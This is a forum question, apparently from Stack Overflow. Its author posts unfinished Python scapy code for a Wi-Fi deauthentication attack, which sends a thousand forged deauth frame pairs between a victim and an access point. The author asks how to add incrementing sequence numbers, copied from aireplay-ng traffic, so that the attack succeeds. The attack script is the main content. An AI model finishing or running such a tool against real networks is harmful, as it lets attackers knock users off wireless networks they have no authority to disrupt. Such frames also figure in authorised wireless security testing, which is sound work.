title: Adding sequence numbers to Dot11 traffic
body: <p>I'm trying to write a tool to do simple deauth attacks. This is my work-in-progress code:</p>
  <pre><code>from scapy.all import *
  from scapy.layers.dot11 import Dot11, RadioTap, Dot11Deauth
  from time import sleep
  
  AP_MAC = 'THE_VICTIM_MAC'
  VICTIM_MAC = &quot;THE_AP_MAC&quot;
  
  interface = &quot;MY_INTERFACE_NAME&quot;
  
  def produce_deauth_pair(victim_mac: str, ap_mac: str) -&gt; Tuple[RadioTap, RadioTap]:
      return (RadioTap() / Dot11(addr1=victim_mac, addr2=ap_mac, addr3=ap_mac) / Dot11Deauth(reason=7),
              RadioTap() / Dot11(addr1=ap_mac, addr2=victim_mac, addr3=ap_mac) / Dot11Deauth(reason=7))
  
  
  for n in range(1000):
      one, two = produce_deauth_pair(VICTIM_MAC, AP_MAC)
      sendp([one, two], iface=interface, verbose=False)
      print(f&quot;{n}/1000&quot;)
  </code></pre>
  <p>The main problem is, it isn't successfully causing a deauthorization on the victim machine. I started a deauth attack using <code>aireplay-ng</code>, compared the traffic in wireshark, and the main difference I can see between my traffic and theirs is theirs uses incrementing sequence numbers (<code>SN</code>), whereas mine is stuck at 0.</p>
  <p>Theirs:
  <a href="https://i.stack.imgur.com/k8dxN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/k8dxN.png" alt="aireplay-ng traffic" /></a></p>
  <p>I can not figure out how to specify sequence numbers though. I searched through the whole <code>dot11.py</code> scapy source file, and the only reference to &quot;sequence numbers&quot; I can find is in the <code>Dot11Auth</code>, and that doesn't seem right.</p>
  <p>How can I specify a sequence number?</p>